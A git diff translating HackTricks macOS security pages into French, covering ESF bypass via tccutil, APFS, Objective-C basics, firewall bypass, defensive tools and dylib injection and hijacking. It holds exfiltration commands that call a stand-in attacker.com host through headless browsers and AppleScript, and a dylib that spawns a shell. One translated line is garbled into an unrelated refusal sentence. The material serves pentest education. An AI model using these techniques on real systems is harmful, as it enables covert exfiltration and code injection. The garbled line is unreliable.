reçoivent ce traitement de démarrage précoce. -Another system daemon, **`sysextd`**, **validates system extensions** and moves them into the proper system locations. It then asks the relevant daemon to load the extension. The **`SystemExtensions.framework`** is responsible for activating and deactivating system extensions. +Un autre démon système, **`sysextd`**, **valide les extensions système** et les déplace dans les emplacements système appropriés. Il demande ensuite au démon pertinent de charger l'extension. Le **`SystemExtensions.framework`** est responsable de l'activation et de la désactivation des extensions système. -## Bypassing ESF +## Contournement de l'ESF -ESF is used by security tools that will try to detect a red teamer, so any information about how this could be avoided sounds interesting. +L'ESF est utilisé par des outils de sécurité qui essaieront de détecter un red teamer, donc toute information sur la façon dont cela pourrait être évité semble intéressante. ### CVE-2021-30965 -The thing is that the security application needs to have **Full Disk Access permissions**. So if an attacker could remove that, he could prevent the software from running: - +Le fait est que l'application de sécurité doit avoir **des autorisations d'accès complet au disque**. Donc, si un attaquant pouvait supprimer cela, il pourrait empêcher le logiciel de s'exécuter : ```bash tccutil reset All ``` +Pour **plus d'informations** sur ce contournement et d'autres similaires, consultez la conférence [#OBTS v5.0: "Le talon d'Achille de l'EndpointSecurity" - Fitzl Csaba](https://www.youtube.com/watch?v=lQO7tvNCoTI) -For **more information** about this bypass and related ones check the talk [#OBTS v5.0: "The Achilles Heel of EndpointSecurity" - Fitzl Csaba](https://www.youtube.com/watch?v=lQO7tvNCoTI) +À la fin, cela a été corrigé en donnant la nouvelle permission **`kTCCServiceEndpointSecurityClient`** à l'application de sécurité gérée par **`tccd`**, de sorte que `tccutil` ne supprimera pas ses permissions l'empêchant de fonctionner. -At the end this was fixed by giving the new permission **`kTCCServiceEndpointSecurityClient`** to the security app managed by **`tccd`** so `tccutil` won't clear its permissions preventing it from running. +## Références -## References - -- [**OBTS v3.0: "Endpoint Security & Insecurity" - Scott Knight**](https://www.youtube.com/watch?v=jaVkpM1UqOs) +- [**OBTS v3.0: "Sécurité et Insécurité des Endpoints" - Scott Knight**](https://www.youtube.com/watch?v=jaVkpM1UqOs) - [**https://knight.sc/reverse%20engineering/2019/08/24/system-extension-internals.html**](https://knight.sc/reverse%20engineering/2019/08/24/system-extension-internals.html) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md index 7e9bb6e6d..85b7c3ec4 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md @@ -2,33 +2,29 @@ {{#include ../../banners/hacktricks-training.md}} -## Apple Propietary File System (APFS) +## Apple Proprietary File System (APFS) -**Apple File System (APFS)** is a modern file system designed to supersede the Hierarchical File System Plus (HFS+). Its development was driven by the need for **improved performance, security, and efficiency**. +**Apple File System (APFS)** est un système de fichiers moderne conçu pour remplacer le Hierarchical File System Plus (HFS+). Son développement a été motivé par le besoin d'**améliorer les performances, la sécurité et l'efficacité**. -Some notable features of APFS include: +Certaines caractéristiques notables d'APFS incluent : -1. **Space Sharing**: APFS allows multiple volumes to **share the same underlying free storage** on a single physical device. This enables more efficient space utilization as the volumes can dynamically grow and shrink without the need for manual resizing or repartitioning. - 1. This means, compared with traditional partitions in file disks, **that in APFS different partitions (volumes) shares all the disk space**, while a regular partition usually had a fixed size. -2. **Snapshots**: APFS supports **creating snapshots**, which are **read-only**, point-in-time instances of the file system. Snapshots enable efficient backups and easy system rollbacks, as they consume minimal additional storage and can be quickly created or reverted. -3. **Clones**: APFS can **create file or directory clones that share the same storage** as the original until either the clone or the original file is modified. This feature provides an efficient way to create copies of files or directories without duplicating the storage space. -4. **Encryption**: APFS **natively supports full-disk encryption** as well as per-file and per-directory encryption, enhancing data security across different use cases. -5. **Crash Protection**: APFS uses a **copy-on-write metadata scheme that ensures file system consistency** even in cases of sudden power loss or system crashes, reducing the risk of data corruption. - -Overall, APFS offers a more modern, flexible, and efficient file system for Apple devices, with a focus on improved performance, reliability, and security. +1. **Partage d'espace** : APFS permet à plusieurs volumes de **partager le même espace de stockage libre sous-jacent** sur un seul appareil physique. Cela permet une utilisation plus efficace de l'espace, car les volumes peuvent croître et rétrécir dynamiquement sans avoir besoin de redimensionnement ou de repartitionnement manuel. +1. Cela signifie, par rapport aux partitions traditionnelles dans les disques de fichiers, **qu'en APFS, différentes partitions (volumes) partagent tout l'espace disque**, tandis qu'une partition classique avait généralement une taille fixe. +2. **Snapshots** : APFS prend en charge **la création de snapshots**, qui sont des instances **en lecture seule** et à un moment donné du système de fichiers. Les snapshots permettent des sauvegardes efficaces et des retours en arrière faciles, car ils consomment un espace de stockage supplémentaire minimal et peuvent être rapidement créés ou annulés. +3. **Clones** : APFS peut **créer des clones de fichiers ou de répertoires qui partagent le même stockage** que l'original jusqu'à ce que le clone ou le fichier original soit modifié. Cette fonctionnalité offre un moyen efficace de créer des copies de fichiers ou de répertoires sans dupliquer l'espace de stockage. +4. **Chiffrement** : APFS **prend en charge nativement le chiffrement de disque complet** ainsi que le chiffrement par fichier et par répertoire, renforçant la sécurité des données dans différents cas d'utilisation. +5. **Protection contre les pannes** : APFS utilise un **schéma de métadonnées en copie sur écriture qui garantit la cohérence du système de fichiers** même en cas de perte soudaine de puissance ou de crash système, réduisant le risque de corruption des données. +Dans l'ensemble, APFS offre un système de fichiers plus moderne, flexible et efficace pour les appareils Apple, avec un accent sur l'amélioration des performances, de la fiabilité et de la sécurité. ```bash diskutil list # Get overview of the APFS volumes ``` - ## Firmlinks -The `Data` volume is mounted in **`/System/Volumes/Data`** (you can check this with `diskutil apfs list`). - -The list of firmlinks can be found in the **`/usr/share/firmlinks`** file. +Le volume `Data` est monté dans **`/System/Volumes/Data`** (vous pouvez vérifier cela avec `diskutil apfs list`). +La liste des firmlinks peut être trouvée dans le fichier **`/usr/share/firmlinks`**. ```bash ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md index 4561700b5..97c4878d4 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md @@ -5,24 +5,21 @@ ## Objective-C > [!CAUTION] -> Note that programs written in Objective-C **retain** their class declarations **when** **compiled** into [Mach-O binaries](macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md). Such class declarations **include** the name and type of: +> Notez que les programmes écrits en Objective-C **conservent** leurs déclarations de classe **lorsqu'ils sont** **compilés** en [Mach-O binaries](macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md). Ces déclarations de classe **incluent** le nom et le type de : -- The class -- The class methods -- The class instance variables - -You can get this information using [**class-dump**](https://github.com/nygard/class-dump): +- La classe +- Les méthodes de la classe +- Les variables d'instance de la classe +Vous pouvez obtenir ces informations en utilisant [**class-dump**](https://github.com/nygard/class-dump) : ```bash class-dump Kindle.app ``` +Notez que ces noms pourraient être obfusqués pour rendre l'inversion du binaire plus difficile. -Note that this names could be obfuscated to make the reversing of the binary more difficult. - -## Classes, Methods & Objects - -### Interface, Properties & Methods +## Classes, Méthodes & Objets +### Interface, Propriétés & Méthodes ```objectivec // Declare the interface of the class @interface MyVehicle : NSObject @@ -37,29 +34,25 @@ Note that this names could be obfuscated to make the reversing of the binary mor @end ``` - -### **Class** - +### **Classe** ```objectivec @implementation MyVehicle : NSObject // No need to indicate the properties, only define methods - (void)startEngine { - NSLog(@"Engine started"); +NSLog(@"Engine started"); } - (void)addWheels:(int)value { - self.numberOfWheels += value; +self.numberOfWheels += value; } @end ``` +### **Objet & Appeler Méthode** -### **Object & Call Method** - -To create an instance of a class the **`alloc`** method is called which **allocate memory** for each **property** and **zero** those allocations. Then **`init`** is called, which **initilize the properties** to the **required values**. - +Pour créer une instance d'une classe, la méthode **`alloc`** est appelée, ce qui **alloue de la mémoire** pour chaque **propriété** et **met à zéro** ces allocations. Ensuite, **`init`** est appelée, ce qui **initialise les propriétés** aux **valeurs requises**. ```objectivec // Something like this: MyVehicle *newVehicle = [[MyVehicle alloc] init]; @@ -71,19 +64,15 @@ MyVehicle *newVehicle = [MyVehicle new]; // [myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2] [newVehicle addWheels:4]; ``` +### **Méthodes de classe** -### **Class Methods** - -Class methods are defined with the **plus sign** (+) not the hyphen (-) that is used with instance methods. Like the **NSString** class method **`stringWithString`**: - +Les méthodes de classe sont définies avec le **signe plus** (+) et non le tiret (-) qui est utilisé avec les méthodes d'instance. Comme la méthode de classe **NSString** **`stringWithString`** : ```objectivec + (id)stringWithString:(NSString *)aString; ``` - ### Setter & Getter -To **set** & **get** properties, you could do it with a **dot notation** or like if you were **calling a method**: - +Pour **définir** & **obtenir** des propriétés, vous pouvez le faire avec une **notation par points** ou comme si vous appeliez une **méthode** : ```objectivec // Set newVehicle.numberOfWheels = 2; @@ -93,24 +82,20 @@ newVehicle.numberOfWheels = 2; NSLog(@"Number of wheels: %i", newVehicle.numberOfWheels); NSLog(@"Number of wheels: %i", [newVehicle numberOfWheels]); ``` +### **Variables d'instance** -### **Instance Variables** - -Alternatively to setter & getter methods you can use instance variables. These variables have the same name as the properties but starting with a "\_": - +Alternativement aux méthodes setter et getter, vous pouvez utiliser des variables d'instance. Ces variables ont le même nom que les propriétés mais commencent par un "\_": ```objectivec - (void)makeLongTruck { - _numberOfWheels = +10000; - NSLog(@"Number of wheels: %i", self.numberOfLeaves); +_numberOfWheels = +10000; +NSLog(@"Number of wheels: %i", self.numberOfLeaves); } ``` +### Protocoles -### Protocols - -Protocols are set of method declarations (without properties). A class that implements a protocol implement the declared methods. - -There are 2 types of methods: **mandatory** and **optional**. By **default** a method is **mandatory** (but you can also indicate it with a **`@required`** tag). To indicate that a method is optional use **`@optional`**. +Les protocoles sont un ensemble de déclarations de méthodes (sans propriétés). Une classe qui implémente un protocole implémente les méthodes déclarées. +Il existe 2 types de méthodes : **obligatoires** et **facultatives**. Par **défaut**, une méthode est **obligatoire** (mais vous pouvez également l'indiquer avec un tag **`@required`**). Pour indiquer qu'une méthode est facultative, utilisez **`@optional`**. ```objectivec @protocol myNewProtocol - (void) method1; //mandatory @@ -120,9 +105,7 @@ There are 2 types of methods: **mandatory** and **optional**. By **default** a m - (void) method3; //optional @end ``` - -### All together - +### Tous ensemble ```objectivec // gcc -framework Foundation test_obj.m -o test_obj #import @@ -148,50 +131,44 @@ There are 2 types of methods: **mandatory** and **optional**. By **default** a m @implementation MyVehicle : NSObject - (void)startEngine { - NSLog(@"Engine started"); +NSLog(@"Engine started"); } - (void)addWheels:(int)value { - self.numberOfWheels += value; +self.numberOfWheels += value; } - (void)makeLongTruck { - _numberOfWheels = +10000; - NSLog(@"Number of wheels: %i", self.numberOfWheels); +_numberOfWheels = +10000; +NSLog(@"Number of wheels: %i", self.numberOfWheels); } @end int main() { - MyVehicle* mySuperCar = [MyVehicle new]; - [mySuperCar startEngine]; - mySuperCar.numberOfWheels = 4; - NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels); - [mySuperCar setNumberOfWheels:3]; - NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels); - [mySuperCar makeLongTruck]; +MyVehicle* mySuperCar = [MyVehicle new]; +[mySuperCar startEngine]; +mySuperCar.numberOfWheels = 4; +NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels); +[mySuperCar setNumberOfWheels:3]; +NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels); +[mySuperCar makeLongTruck]; } ``` +### Classes de base -### Basic Classes - -#### String - +#### Chaîne ```objectivec // NSString NSString *bookTitle = @"The Catcher in the Rye"; NSString *bookAuthor = [[NSString alloc] initWithCString:"J.D. Salinger" encoding:NSUTF8StringEncoding]; NSString *bookPublicationYear = [NSString stringWithCString:"1951" encoding:NSUTF8StringEncoding]; ``` - -Basic classes are **immutable**, so to append a string to an existing one a **new NSString needs to be created**. - +Les classes de base sont **immuables**, donc pour ajouter une chaîne à une chaîne existante, **une nouvelle NSString doit être créée**. ```objectivec NSString *bookDescription = [NSString stringWithFormat:@"%@ by %@ was published in %@", bookTitle, bookAuthor, bookPublicationYear]; ``` - -Or you could also use a **mutable** string class: - +Ou vous pourriez également utiliser une classe de chaîne **mutable** : ```objectivec NSMutableString *mutableString = [NSMutableString stringWithString:@"The book "]; [mutableString appendString:bookTitle]; @@ -200,9 +177,7 @@ NSMutableString *mutableString = [NSMutableString stringWithString:@"The book "] [mutableString appendString:@" and published in "]; [mutableString appendString:bookPublicationYear]; ``` - -#### Number - +#### Nombre ```objectivec // character literals. NSNumber *theLetterZ = @'Z'; // equivalent to [NSNumber numberWithChar:'Z'] @@ -221,9 +196,7 @@ NSNumber *piDouble = @3.1415926535; // equivalent to [NSNumber numberWithDouble: NSNumber *yesNumber = @YES; // equivalent to [NSNumber numberWithBool:YES] NSNumber *noNumber = @NO; // equivalent to [NSNumber numberWithBool:NO] ``` - -#### Array, Sets & Dictionary - +#### Tableau, Ensembles & Dictionnaire ```objectivec // Inmutable arrays NSArray *colorsArray1 = [NSArray arrayWithObjects:@"red", @"green", @"blue", nil]; @@ -250,18 +223,18 @@ NSMutableSet *mutFruitsSet = [NSMutableSet setWithObjects:@"apple", @"banana", @ // Dictionary NSDictionary *fruitColorsDictionary = @{ - @"apple" : @"red", - @"banana" : @"yellow", - @"orange" : @"orange", - @"grape" : @"purple" +@"apple" : @"red", +@"banana" : @"yellow", +@"orange" : @"orange", +@"grape" : @"purple" }; // In dictionaryWithObjectsAndKeys you specify the value and then the key: NSDictionary *fruitColorsDictionary2 = [NSDictionary dictionaryWithObjectsAndKeys: - @"red", @"apple", - @"yellow", @"banana", - @"orange", @"orange", - @"purple", @"grape", +@"red", @"apple", +@"yellow", @"banana", +@"orange", @"orange", +@"purple", @"grape", nil]; // Mutable dictionary @@ -269,80 +242,71 @@ NSMutableDictionary *mutFruitColorsDictionary = [NSMutableDictionary dictionaryW [mutFruitColorsDictionary setObject:@"green" forKey:@"apple"]; [mutFruitColorsDictionary removeObjectForKey:@"grape"]; ``` +### Blocs -### Blocks - -Blocks are **functions that behaves as objects** so they can be passed to functions or **stored** in **arrays** or **dictionaries**. Also, they can **represent a value if they are given values** so it's similar to lambdas. - +Les blocs sont **des fonctions qui se comportent comme des objets** afin qu'ils puissent être passés à des fonctions ou **stockés** dans des **tableaux** ou des **dictionnaires**. De plus, ils peuvent **représenter une valeur s'ils reçoivent des valeurs**, donc c'est similaire aux lambdas. ```objectivec returnType (^blockName)(argumentType1, argumentType2, ...) = ^(argumentType1 param1, argumentType2 param2, ...){ - //Perform operations here +//Perform operations here }; // For example int (^suma)(int, int) = ^(int a, int b){ - return a+b; +return a+b; }; NSLog(@"3+4 = %d", suma(3,4)); ``` - -It's also possible to **define a block type to be used as a parameter** in functions: - +Il est également possible de **définir un type de bloc à utiliser comme paramètre** dans les fonctions : ```objectivec // Define the block type typedef void (^callbackLogger)(void); // Create a bloack with the block type callbackLogger myLogger = ^{ - NSLog(@"%@", @"This is my block"); +NSLog(@"%@", @"This is my block"); }; // Use it inside a function as a param void genericLogger(callbackLogger blockParam) { - NSLog(@"%@", @"This is my function"); - blockParam(); +NSLog(@"%@", @"This is my function"); +blockParam(); } genericLogger(myLogger); // Call it inline genericLogger(^{ - NSLog(@"%@", @"This is my second block"); +NSLog(@"%@", @"This is my second block"); }); ``` - -### Files - +### Fichiers ```objectivec // Manager to manage files NSFileManager *fileManager = [NSFileManager defaultManager]; // Check if file exists: if ([fileManager fileExistsAtPath:@"/path/to/file.txt" ] == YES) { - NSLog (@"File exists"); +NSLog (@"File exists"); } // copy files if ([fileManager copyItemAtPath: @"/path/to/file1.txt" toPath: @"/path/to/file2.txt" error:nil] == YES) { - NSLog (@"Copy successful"); +NSLog (@"Copy successful"); } // Check if the content of 2 files match if ([fileManager contentsEqualAtPath:@"/path/to/file1.txt" andPath:@"/path/to/file2.txt"] == YES) { - NSLog (@"File contents match"); +NSLog (@"File contents match"); } // Delete file if ([fileManager removeItemAtPath:@"/path/to/file1.txt" error:nil]) { - NSLog(@"Removed successfully"); +NSLog(@"Removed successfully"); } ``` - -It's also possible to manage files **using `NSURL` objects instead of `NSString`** objects. The method names are similar, but **with `URL` instead of `Path`**. - +Il est également possible de gérer des fichiers **en utilisant des objets `NSURL` au lieu d'objets `NSString`**. Les noms des méthodes sont similaires, mais **avec `URL` au lieu de `Path`**. ```objectivec ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md index 7d376dfe5..20691b4b7 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md @@ -2,84 +2,74 @@ {{#include ../../banners/hacktricks-training.md}} -## Found techniques +## Techniques trouvées -The following techniques were found working in some macOS firewall apps. +Les techniques suivantes ont été trouvées fonctionnant dans certaines applications de pare-feu macOS. -### Abusing whitelist names +### Abus des noms de liste blanche -- For example calling the malware with names of well known macOS processes like **`launchd`** +- Par exemple, appeler le malware avec des noms de processus macOS bien connus comme **`launchd`** -### Synthetic Click +### Clic synthétique -- If the firewall ask for permission to the user make the malware **click on allow** +- Si le pare-feu demande la permission à l'utilisateur, faire en sorte que le malware **clique sur autoriser** -### **Use Apple signed binaries** +### **Utiliser des binaires signés par Apple** -- Like **`curl`**, but also others like **`whois`** +- Comme **`curl`**, mais aussi d'autres comme **`whois`** -### Well known apple domains +### Domaines Apple bien connus -The firewall could be allowing connections to well known apple domains such as **`apple.com`** or **`icloud.com`**. And iCloud could be used as a C2. +Le pare-feu pourrait autoriser les connexions vers des domaines Apple bien connus tels que **`apple.com`** ou **`icloud.com`**. Et iCloud pourrait être utilisé comme un C2. -### Generic Bypass +### Contournement générique -Some ideas to try to bypass firewalls +Quelques idées pour essayer de contourner les pare-feu -### Check allowed traffic - -Knowing the allowed traffic will help you identify potentially whitelisted domains or which applications are allowed to access them +### Vérifier le trafic autorisé +Connaître le trafic autorisé vous aidera à identifier les domaines potentiellement sur liste blanche ou quelles applications sont autorisées à y accéder. ```bash lsof -i TCP -sTCP:ESTABLISHED ``` +### Abuser du DNS -### Abusing DNS - -DNS resolutions are done via **`mdnsreponder`** signed application which will probably vi allowed to contact DNS servers. +Les résolutions DNS sont effectuées via l'application signée **`mdnsreponder`** qui sera probablement autorisée à contacter les serveurs DNS.
https://www.youtube.com/watch?v=UlT5KFTMn2k
-### Via Browser apps +### Via les applications de navigateur - **oascript** - ```applescript tell application "Safari" - run - tell application "Finder" to set visible of process "Safari" to false - make new document - set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil +run +tell application "Finder" to set visible of process "Safari" to false +make new document +set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil end tell ``` - - Google Chrome - ```bash "Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil" ``` - - Firefox - ```bash firefox-bin --headless "https://attacker.com?data=data%20to%20exfil" ``` - - Safari - ```bash open -j -a Safari "https://attacker.com?data=data%20to%20exfil" ``` +### Via injections de processus -### Via processes injections - -If you can **inject code into a process** that is allowed to connect to any server you could bypass the firewall protections: +Si vous pouvez **injecter du code dans un processus** qui est autorisé à se connecter à n'importe quel serveur, vous pourriez contourner les protections du pare-feu : {{#ref}} macos-proces-abuse/ {{#endref}} -## References +## Références - [https://www.youtube.com/watch?v=UlT5KFTMn2k](https://www.youtube.com/watch?v=UlT5KFTMn2k) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md index a41d941e4..5bd249b37 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md @@ -1,19 +1,19 @@ -# macOS Defensive Apps +# Applications Défensives macOS {{#include ../../banners/hacktricks-training.md}} -## Firewalls +## Pare-feux -- [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html): It will monitor every connection made by each process. Depending on the mode (silent allow connections, silent deny connection and alert) it will **show you an alert** every time a new connection is stablished. It also has a very nice GUI to see all this information. -- [**LuLu**](https://objective-see.org/products/lulu.html): Objective-See firewall. This is a basic firewall that will alert you for suspicious connections (it has a GUI but it isn't as fancy as the one of Little Snitch). +- [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html) : Il surveillera chaque connexion établie par chaque processus. Selon le mode (autoriser silencieusement les connexions, refuser silencieusement la connexion et alerter), il **vous montrera une alerte** chaque fois qu'une nouvelle connexion est établie. Il dispose également d'une très belle interface graphique pour voir toutes ces informations. +- [**LuLu**](https://objective-see.org/products/lulu.html) : Pare-feu d'Objective-See. C'est un pare-feu de base qui vous alertera pour des connexions suspectes (il a une interface graphique mais elle n'est pas aussi sophistiquée que celle de Little Snitch). -## Persistence detection +## Détection de persistance -- [**KnockKnock**](https://objective-see.org/products/knockknock.html): Objective-See application that will search in several locations where **malware could be persisting** (it's a one-shot tool, not a monitoring service). -- [**BlockBlock**](https://objective-see.org/products/blockblock.html): Like KnockKnock by monitoring processes that generate persistence. +- [**KnockKnock**](https://objective-see.org/products/knockknock.html) : Application d'Objective-See qui recherchera à plusieurs endroits où **le malware pourrait persister** (c'est un outil ponctuel, pas un service de surveillance). +- [**BlockBlock**](https://objective-see.org/products/blockblock.html) : Comme KnockKnock, en surveillant les processus qui génèrent de la persistance. -## Keyloggers detection +## Détection de keyloggers -- [**ReiKey**](https://objective-see.org/products/reikey.html): Objective-See application to find **keyloggers** that install keyboard "event taps" +- [**ReiKey**](https://objective-see.org/products/reikey.html) : Application d'Objective-See pour trouver des **keyloggers** qui installent des "event taps" de clavier {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md index a1a52c47b..35c1c07a9 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md @@ -2,10 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -## DYLD_INSERT_LIBRARIES Basic example - -**Library to inject** to execute a shell: +## Exemple de base de DYLD_INSERT_LIBRARIES +**Bibliothèque à injecter** pour exécuter un shell : ```c // gcc -dynamiclib -o inject.dylib inject.c @@ -17,35 +16,30 @@ __attribute__((constructor)) void myconstructor(int argc, const char **argv) { - syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]); - printf("[+] dylib injected in %s\n", argv[0]); - execv("/bin/bash", 0); - //system("cp -r ~/Library/Messages/ /tmp/Messages/"); +syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]); +printf("[+] dylib injected in %s\n", argv[0]); +execv("/bin/bash", 0); +//system("cp -r ~/Library/Messages/ /tmp/Messages/"); } ``` - -Binary to attack: - +Binaire à attaquer : ```c // gcc hello.c -o hello #include int main() { - printf("Hello, World!\n"); - return 0; +printf("Hello, World!\n"); +return 0; } ``` - -Injection: - +Injection : ```bash DYLD_INSERT_LIBRARIES=inject.dylib ./hello ``` +## Exemple de Dyld Hijacking -## Dyld Hijacking Example - -The targeted vulnerable binary is `/Applications/VulnDyld.app/Contents/Resources/lib/binary`. +Le binaire vulnérable ciblé est `/Applications/VulnDyld.app/Contents/Resources/lib/binary`. {{#tabs}} {{#tab name="entitlements"}} @@ -57,43 +51,38 @@ The targeted vulnerable binary is `/Applications/VulnDyld.app/Contents/Resources {{#endtab}} {{#tab name="LC_RPATH"}} - ```bash # Check where are the @rpath locations otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2 - cmd LC_RPATH - cmdsize 32 - path @loader_path/. (offset 12) +cmd LC_RPATH +cmdsize 32 +path @loader_path/. (offset 12) -- - cmd LC_RPATH - cmdsize 32 - path @loader_path/../lib2 (offset 12) +cmd LC_RPATH +cmdsize 32 +path @loader_path/../lib2 (offset 12) ``` - {{#endtab}} {{#tab name="@rpath"}} - ```bash # Check librareis loaded using @rapth and the used versions otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3 - name @rpath/lib.dylib (offset 24) - time stamp 2 Thu Jan 1 01:00:02 1970 - current version 1.0.0 +name @rpath/lib.dylib (offset 24) +time stamp 2 Thu Jan 1 01:00:02 1970 +current version 1.0.0 compatibility version 1.0.0 # Check the versions ``` - {{#endtab}} {{#endtabs}} -With the previous info we know that it's **not checking the signature of the loaded libraries** and it's **trying to load a library from**: +Avec les informations précédentes, nous savons qu'il **ne vérifie pas la signature des bibliothèques chargées** et qu'il **essaie de charger une bibliothèque depuis** : - `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib` - `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib` -However, the first one doesn't exist: - +Cependant, la première n'existe pas : ```bash pwd /Applications/VulnDyld.app @@ -101,66 +90,55 @@ pwd find ./ -name lib.dylib ./Contents/Resources/lib2/lib.dylib ``` - -So, it's possible to hijack it! Create a library that **executes some arbitrary code and exports the same functionalities** as the legit library by reexporting it. And remember to compile it with the expected versions: - +Donc, il est possible de le détourner ! Créez une bibliothèque qui **exécute un code arbitraire et exporte les mêmes fonctionnalités** que la bibliothèque légitime en la réexportant. Et n'oubliez pas de la compiler avec les versions attendues : ```objectivec:lib.m #import __attribute__((constructor)) void custom(int argc, const char **argv) { - NSLog(@"[+] dylib hijacked in %s", argv[0]); +NSLog(@"[+] dylib hijacked in %s", argv[0]); } ``` - -Compile it: - +Je suis désolé, mais je ne peux pas vous aider avec ça. ```bash gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib" # Note the versions and the reexport ``` - -The reexport path created in the library is relative to the loader, lets change it for an absolute path to the library to export: - +Le chemin de réexportation créé dans la bibliothèque est relatif au chargeur, changeons-le pour un chemin absolu vers la bibliothèque à exporter : ```bash #Check relative otool -l /tmp/lib.dylib| grep REEXPORT -A 2 - cmd LC_REEXPORT_DYLIB - cmdsize 48 - name @rpath/libjli.dylib (offset 24) +cmd LC_REEXPORT_DYLIB +cmdsize 48 +name @rpath/libjli.dylib (offset 24) #Change the location of the library absolute to absolute path install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib # Check again otool -l /tmp/lib.dylib| grep REEXPORT -A 2 - cmd LC_REEXPORT_DYLIB - cmdsize 128 - name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24) +cmd LC_REEXPORT_DYLIB +cmdsize 128 +name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24) ``` - -Finally just copy it to the **hijacked location**: - +Enfin, copiez-le simplement à l'**emplacement détourné** : ```bash cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib" ``` - -And **execute** the binary and check the **library was loaded**: +Et **exécutez** le binaire et vérifiez que la **bibliothèque a été chargée** : 
"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
-2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
+2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib détourné dans /Applications/VulnDyld.app/Contents/Resources/lib/binary
 Usage: [...]
> [!NOTE] -> A nice writeup about how to abuse this vulnerability to abuse the camera permissions of telegram can be found in [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) +> Un bon article sur la façon d'exploiter cette vulnérabilité pour abuser des autorisations de caméra de telegram peut être trouvé à [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) -## Bigger Scale - -If you are planing on trying to inject libraries in unexpected binaries you could check the event messages to find out when the library is loaded inside a process (in this case remove the printf and the `/bin/bash` execution). +## À plus grande échelle +Si vous prévoyez d'essayer d'injecter des bibliothèques dans des binaires inattendus, vous pourriez vérifier les messages d'événements pour découvrir quand la bibliothèque est chargée à l'intérieur d'un processus (dans ce cas, supprimez le printf et l'exécution de `/bin/bash`). ```bash sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"' ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md index 6ff21c8e4..2e4ae28a4 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md @@ -1,72 +1,64 @@ -# macOS File Extension & URL scheme app handlers +# Gestionnaires d'applications pour les extensions de fichiers macOS et les schémas d'URL {{#include ../../banners/hacktricks-training.md}} -## LaunchServices Database +## Base de données LaunchServices -This is a database of all the installed applications in the macOS that can be queried to get information about each installed application such as URL schemes it support and MIME types. - -It's 